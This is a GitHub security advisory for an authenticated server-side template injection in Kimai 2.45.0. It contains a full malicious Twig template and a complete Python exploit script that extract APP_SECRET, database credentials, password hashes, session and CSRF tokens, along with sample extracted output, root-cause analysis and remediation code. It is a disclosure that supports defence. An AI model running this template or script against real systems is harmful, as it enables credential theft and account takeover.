GHSA-jg2j-2w24-54cgMediumCVSS 6.8

Kimai has an Authenticated Server-Side Template Injection (SSTI)

Published
January 20, 2026
Last Modified
January 20, 2026

🔗 CVE IDs covered (1)

📋 Description

Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI)

Vulnerability Summary

| Field | Value | |-------|-------| | Title | Authenticated SSTI via Permissive Export Template Sandbox || Attack Vector | Network | | Attack Complexity | Low | | Privileges Required | High (Admin with export permissions and server access) | | User Interaction | None | | Impact | Confidentiality: HIGH (Credential/Secret Extraction) | | Affected Versions | Kimai 2.45.0 (likely earlier versions) | | Tested On | Docker: kimai/kimai2:apache-2.45.0 | | Discovery Date | 2026-01-05 |


Why Scope is "Changed": The extracted APP_SECRET can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context.


Vulnerability Description

Kimai's export functionality uses a Twig sandbox with an overly permissive security policy (DefaultPolicy) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including:

  1. Environment Variables (APP_SECRET, DATABASE_URL)
  2. All User Password Hashes (bcrypt)
  3. Serialized Session Tokens
  4. CSRF Tokens

Prerequisites

  1. Authenticated Access: Valid account with export permissions (typically ROLE_ADMIN, ROLE_SUPER_ADMIN, or ROLE_TEAMLEAD)
  2. Template Deployment: Ability to place a malicious .pdf.twig template in /opt/kimai/var/export/ via:
    • Filesystem access (server admin)

Test Environment

Users in Test Instance

The test environment contains 2 users whose password hashes were successfully extracted:

Kimai Users Page - screenshot_users.png:

| User | Role | Hash Extracted | |------|------|----------------| | admin | ROLE_SUPER_ADMIN | ✅ Yes | | lowpriv | ROLE_USER | ✅ Yes |


Confirmed Exploitation Evidence

Test Date: 2026-01-05

Extracted Data (Actual Output from Exploit)

===SSTI_EXTRACTION_START===

1. ENVIRONMENT VARIABLES
APP_SECRET: change_this_to_something_unique
DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
APP_ENV: prod

2. SESSION TOKEN (SERIALIZED)
O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{
  i:0;N;i:1;s:12:"secured_area";i:2;a:5:{
    i:0;O:15:"App\Entity\User":5:{
      s:2:"id";i:1;
      s:8:"username";s:5:"admin";
      s:7:"enabled";b:1;
      s:5:"email";s:17:"[email protected]";
      s:8:"password";s:60:"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye";
    }
    i:1;b:1;i:2;N;i:3;a:0:{}
    i:4;a:2:{i:0;s:16:"ROLE_SUPER_ADMIN";i:1;s:9:"ROLE_USER";}
  }
}

3. CURRENT USER DETAILS
username: admin
email: [email protected]
password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
roles: ROLE_SUPER_ADMIN, ROLE_USER

4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a

5. CSRF TOKENS
_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4
_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58

===SSTI_EXTRACTION_END===

Root Cause Analysis

Vulnerable Code: src/Twig/SecurityPolicy/ExportPolicy.php

The export functionality uses ExportPolicy which includes DefaultPolicy:

$this->policy->addPolicy(new DefaultPolicy());

The Problem: src/Twig/SecurityPolicy/DefaultPolicy.php

final class DefaultPolicy implements SecurityPolicyInterface
{
    public function checkSecurity($tags, $filters, $functions): void
    {
        // EMPTY - No restrictions on Twig tags/filters/functions
    }

    public function checkMethodAllowed($obj, $method): void
    {
        // EMPTY - Allows ANY method call on ANY object
    }

    public function checkPropertyAllowed($obj, $property): void
    {
        // EMPTY - Allows ANY property access on ANY object
    }
}

This allows templates to call methods like:

  • app.request.server.get("APP_SECRET") - Environment variable access
  • app.session.get("_security_secured_area") - Session data access
  • entry.user.password - Password hash access

Exploitation Steps

Step 1: Deploy Malicious Template

Save the following as /opt/kimai/var/export/ssti-extract.pdf.twig:

docker exec kimai-kimai-1 bash -c 'cat > /opt/kimai/var/export/ssti-extract.pdf.twig << "TEMPLATE"
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>SSTI Data Extraction</title>
    <style>
        body { font-family: monospace; font-size: 10px; }
        h1, h2 { color: #333; }
        pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; }
    </style>
</head>
<body>

<h1>===SSTI_EXTRACTION_START===</h1>

<h2>1. ENVIRONMENT VARIABLES</h2>
<pre>
APP_SECRET: {{ app.request.server.get("APP_SECRET") }}
DATABASE_URL: {{ app.request.server.get("DATABASE_URL") }}
APP_ENV: {{ app.request.server.get("APP_ENV") }}
APP_DEBUG: {{ app.request.server.get("APP_DEBUG") }}
</pre>

<h2>2. SESSION TOKEN (SERIALIZED)</h2>
<pre>
{{ app.session.get("_security_secured_area") }}
</pre>

<h2>3. CURRENT USER DETAILS</h2>
<pre>
{% set user = query.currentUser %}
username: {{ user.username }}
email: {{ user.email }}
password_hash: {{ user.password }}
roles: {{ user.roles|join(", ") }}
id: {{ user.id }}
</pre>

<h2>4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)</h2>
<pre>
{% set seen = {} %}
{% for entry in entries %}
{% if entry.user is defined and entry.user.username not in seen %}
{% set seen = seen|merge({(entry.user.username): true}) %}
{{ entry.user.username }}:{{ entry.user.password }}
{% endif %}
{% endfor %}
</pre>

<h2>5. CSRF TOKENS</h2>
<pre>
_csrf/search: {{ app.session.get("_csrf/search") }}
_csrf/datatable_update: {{ app.session.get("_csrf/datatable_update") }}
_csrf/entities_multiupdate: {{ app.session.get("_csrf/entities_multiupdate") }}
</pre>

<h2>6. USER PREFERENCES</h2>
<pre>
{% set user = query.currentUser %}
{% for pref in user.preferences %}
{{ pref.name }}: {{ pref.value }}
{% endfor %}
</pre>

<h1>===SSTI_EXTRACTION_END===</h1>

</body>
</html>
TEMPLATE'

Step 2: Run the Exploit

python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!

Step 3: Extract Text from PDF

pdftotext kimai_extracted_data.pdf -

Detailed Exploit Usage

Requirements

# Install Python dependencies
pip install requests

# Install PDF text extraction tool
sudo apt install poppler-utils

Command Syntax

python3 ssti_exploit.py <target_url> <username> <password> [template_name]

Arguments:
  target_url    - Kimai instance URL (e.g., http://localhost:8001)
  username      - Valid admin username with export permissions
  password      - User password
  template_name - Optional: custom template (default: ssti-extract.pdf.twig)

Example Usage

# Basic usage
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!

# With custom template
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! custom-template.pdf.twig

Expected Output

╔═══════════════════════════════════════════════════════════════╗
║     Kimai 2.45.0 - SSTI Information Disclosure Exploit        ║
║                                                               ║
║  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          ║
╚═══════════════════════════════════════════════════════════════╝

[*] Connecting to http://localhost:8001
[*] Authenticating as admin
[+] Successfully authenticated as admin
[*] Triggering SSTI with template: ssti-extract.pdf.twig
[+] PDF generated successfully: 35356 bytes
[+] PDF saved to: kimai_extracted_data.pdf

============================================================
RAW EXTRACTED DATA:
============================================================
===SSTI_EXTRACTION_START===

1. ENVIRONMENT VARIABLES
APP_SECRET: change_this_to_something_unique
DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
APP_ENV: prod

2. SESSION TOKEN (SERIALIZED)
O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{...}

3. CURRENT USER DETAILS
username: admin
email: [email protected]
password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
roles: ROLE_SUPER_ADMIN, ROLE_USER

4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a

5. CSRF TOKENS
_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4
_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58

===SSTI_EXTRACTION_END===

============================================================
CRITICAL FINDINGS SUMMARY:
============================================================
[!] APP_SECRET: change_this_to_something_unique
[!] DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
[!] Password Hashes Found: 2 unique
    admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye...
    lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a...
[!] Session Token: Present (serialized PHP object)
[!] CSRF Tokens: 2 found

[+] Exploitation successful!
[+] Full output saved to: kimai_extracted_data.pdf

Output Files

| File | Description | |------|-------------| | kimai_extracted_data.pdf | PDF containing all extracted sensitive data |

Manual PDF Text Extraction

# Extract text from PDF
pdftotext kimai_extracted_data.pdf -

# Save to file
pdftotext kimai_extracted_data.pdf extracted_secrets.txt

# Search for specific secrets
pdftotext kimai_extracted_data.pdf - | grep -E "(APP_SECRET|DATABASE_URL|\\\$2y\\\$)"

Error Handling

| Error Message | Cause | Solution | |---------------|-------|----------| | Cannot connect to <url> | Target unreachable | Check URL and network | | Authentication failed | Wrong credentials | Verify username/password | | Template not found | Template not deployed | Deploy template first (Step 1) | | Access denied | Insufficient permissions | Use admin account with export perms | | pdftotext not installed | Missing tool | Run apt install poppler-utils |


Complete Exploit Script (ssti_exploit.py)

#!/usr/bin/env python3
"""
Kimai 2.45.0 - SSTI Information Disclosure Exploit
Extracts: APP_SECRET, DATABASE_URL, Password Hashes, Session Tokens

Prerequisites:
1. Valid admin credentials
2. Malicious template deployed at /opt/kimai/var/export/ssti-extract.pdf.twig

Usage: python3 ssti_exploit.py <target_url> <username> <password>
Example: python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!

Author: Security Research
Date: 2026-01-05
"""

import requests
import re
import subprocess
import sys
import os

class KimaiSSTIExploit:
    def __init__(self, target, username, password):
        self.target = target.rstrip('/')
        self.session = requests.Session()
        self.username = username
        self.password = password
        
    def login(self):
        """Authenticate to Kimai"""
        print(f"[*] Connecting to {self.target}")
        
        try:
            login_page = self.session.get(f"{self.target}/en/login", timeout=10)
        except requests.exceptions.ConnectionError:
            raise Exception(f"Cannot connect to {self.target}")
        except requests.exceptions.Timeout:
            raise Exception(f"Connection timeout to {self.target}")
            
        if login_page.status_code != 200:
            raise Exception(f"Cannot reach login page: HTTP {login_page.status_code}")
        
        csrf_match = re.search(r'name="_csrf_token"[^>]*value="([^"]+)"', login_page.text)
        if not csrf_match:
            raise Exception("CSRF token not found on login page")
        
        csrf = csrf_match.group(1)
        print(f"[*] Authenticating as {self.username}")
        
        login_resp = self.session.post(
            f"{self.target}/en/login_check",
            data={
                "_username": self.username,
                "_password": self.password,
                "_csrf_token": csrf
            },
            allow_redirects=True,
            timeout=10
        )
        
        # Check for successful login
        if "logout" not in login_resp.text.lower() and "sign out" not in login_resp.text.lower():
            if "invalid" in login_resp.text.lower() or "incorrect" in login_resp.text.lower():
                raise Exception("Invalid username or password")
            raise Exception("Authentication failed - check credentials")
        
        print(f"[+] Successfully authenticated as {self.username}")
        return True
    
    def trigger_ssti(self, template_name="ssti-extract.pdf.twig"):
        """Trigger SSTI via export functionality"""
        print(f"[*] Triggering SSTI with template: {template_name}")
        
        try:
            export_resp = self.session.post(
                f"{self.target}/en/export/data",
                data={
                    "renderer": template_name,
                    "state": "3",       # All states
                    "billable": "0",    # All billable states
                    "exported": "5",    # All export states
                    "markAsExported": "0",
                },
                timeout=60
            )
        except requests.exceptions.Timeout:
            raise Exception("Export request timed out")
        
        if export_resp.status_code == 404:
            raise Exception(f"Template '{template_name}' not found - deploy template first")
        
        if export_resp.status_code == 403:
            raise Exception("Access denied - user lacks export permissions")
            
        if export_resp.status_code != 200:
            raise Exception(f"Export failed: HTTP {export_resp.status_code}")
        
        if b'%PDF' not in export_resp.content[:10]:
            if b'error' in export_resp.content.lower() or b'exception' in export_resp.content.lower():
                raise Exception("Template rendering error - check template syntax")
            raise Exception("Invalid response - expected PDF output")
        
        print(f"[+] PDF generated successfully: {len(export_resp.content)} bytes")
        return export_resp.content
    
    def extract_text(self, pdf_content, output_path="/tmp/kimai_ssti_output.pdf"):
        """Extract text from PDF using pdftotext"""
        with open(output_path, "wb") as f:
            f.write(pdf_content)
        
        try:
            result = subprocess.run(
                ["pdftotext", output_path, "-"],
                capture_output=True,
                text=True,
                timeout=30
            )
            if result.returncode != 0:
                print(f"[-] pdftotext error: {result.stderr}")
                return None
            return result.stdout
        except FileNotFoundError:
            print("[-] pdftotext not installed")
            print("    Install with: apt install poppler-utils")
            return None
        except subprocess.TimeoutExpired:
            print("[-] pdftotext timed out")
            return None

    def parse_findings(self, text):
        """Parse and categorize extracted data"""
        findings = {
            "app_secret": None,
            "database_url": None,
            "password_hashes": [],
            "session_token": None,
            "csrf_tokens": []
        }
        
        lines = text.split('\n')
        for i, line in enumerate(lines):
            line = line.strip()
            
            if "APP_SECRET:" in line:
                findings["app_secret"] = line.split("APP_SECRET:")[-1].strip()
            
            if "DATABASE_URL:" in line or "mysql://" in line:
                if "mysql://" in line:
                    findings["database_url"] = line.strip()
                elif i + 1 < len(lines):
                    findings["database_url"] = lines[i + 1].strip()
            
            if "$2y$" in line:
                findings["password_hashes"].append(line)
            
            if "UsernamePasswordToken" in line:
                findings["session_token"] = "Present (serialized PHP object)"
            
            if "_csrf" in line.lower() or len(line) == 43:
                if ":" in line:
                    findings["csrf_tokens"].append(line)
        
        return findings


def print_banner():
    print("""
╔═══════════════════════════════════════════════════════════════╗
║     Kimai 2.45.0 - SSTI Information Disclosure Exploit        ║
║                                                               ║
║  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          ║
╚═══════════════════════════════════════════════════════════════╝
""")


def main():
    print_banner()
    
    if len(sys.argv) < 4:
        print("Usage: python3 ssti_exploit.py <target_url> <username> <password> [template_name]")
        print()
        print("Arguments:")
        print("  target_url    - Kimai instance URL (e.g., http://localhost:8001)")
        print("  username      - Valid admin username")
        print("  password      - User password")
        print("  template_name - Optional: custom template name (default: ssti-extract.pdf.twig)")
        print()
        print("Example:")
        print("  python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!")
        print()
        print("Prerequisites:")
        print("  1. Deploy malicious template to /opt/kimai/var/export/ssti-extract.pdf.twig")
        print("  2. User must have export permissions (ROLE_ADMIN or higher)")
        sys.exit(1)
    
    target = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    template = sys.argv[4] if len(sys.argv) > 4 else "ssti-extract.pdf.twig"
    
    exploit = KimaiSSTIExploit(target, username, password)
    
    try:
        # Step 1: Authenticate
        exploit.login()
        
        # Step 2: Trigger SSTI
        pdf_content = exploit.trigger_ssti(template)
        
        # Step 3: Save PDF
        output_file = "kimai_extracted_data.pdf"
        with open(output_file, "wb") as f:
            f.write(pdf_content)
        print(f"[+] PDF saved to: {output_file}")
        
        # Step 4: Extract and display text
        text = exploit.extract_text(pdf_content)
        if text:
            print()
            print("="*60)
            print("RAW EXTRACTED DATA:")
            print("="*60)
            print(text[:2000])
            if len(text) > 2000:
                print(f"\n... [{len(text) - 2000} more characters]")
            
            # Parse findings
            findings = exploit.parse_findings(text)
            
            print()
            print("="*60)
            print("CRITICAL FINDINGS SUMMARY:")
            print("="*60)
            
            if findings["app_secret"]:
                print(f"[!] APP_SECRET: {findings['app_secret']}")
            
            if findings["database_url"]:
                print(f"[!] DATABASE_URL: {findings['database_url']}")
            
            if findings["password_hashes"]:
                unique_hashes = list(set(findings["password_hashes"]))
                print(f"[!] Password Hashes Found: {len(unique_hashes)} unique")
                for h in unique_hashes[:5]:
                    print(f"    {h[:80]}...")
                if len(unique_hashes) > 5:
                    print(f"    ... and {len(unique_hashes) - 5} more")
            
            if findings["session_token"]:
                print(f"[!] Session Token: {findings['session_token']}")
            
            if findings["csrf_tokens"]:
                print(f"[!] CSRF Tokens: {len(findings['csrf_tokens'])} found")
        
        print()
        print("[+] Exploitation successful!")
        print(f"[+] Full output saved to: {output_file}")
        return 0
        
    except KeyboardInterrupt:
        print("\n[-] Interrupted by user")
        return 130
    except Exception as e:
        print(f"[-] Exploitation failed: {e}")
        return 1


if __name__ == "__main__":
    sys.exit(main())

Impact Analysis

| Extracted Data | Security Impact | |---------------|-----------------| | APP_SECRET | Can forge Symfony login links to access ANY user account | | DATABASE_URL | Direct database connection credentials exposed | | Password Hashes | Offline password cracking possible (bcrypt) | | Session Tokens | Session structure analysis, potential replay attacks | | CSRF Tokens | Bypass CSRF protection for subsequent attacks |

Attack Chain Example

  1. Exploit SSTI → Extract APP_SECRET
  2. Use APP_SECRET to forge login link for target user
  3. Access target user's account without knowing their password

Remediation

Immediate Fix

Replace DefaultPolicy with InvoicePolicy in ExportPolicy:

// src/Twig/SecurityPolicy/ExportPolicy.php
// Change:
$this->policy->addPolicy(new DefaultPolicy());

// To:
$this->policy->addPolicy(new InvoicePolicy());

Additional Hardening

  1. Block environment access in templates:

    public function checkMethodAllowed($obj, $method): void
    {
        if ($obj instanceof Request && $method === 'getServer') {
            throw new SecurityError('Server access not allowed');
        }
    }
    
  2. Block session access in templates:

    if ($obj instanceof Session) {
        throw new SecurityError('Session access not allowed');
    }
    
  3. Restrict User object property access:

    if ($obj instanceof User && $method === 'getPassword') {
        throw new SecurityError('Password access not allowed');
    }
    

Reported by: Mahammad Huseynkhanli

🎯 Affected products1

  • composer/kimai/kimai:< 2.46.0

🔗 References (7)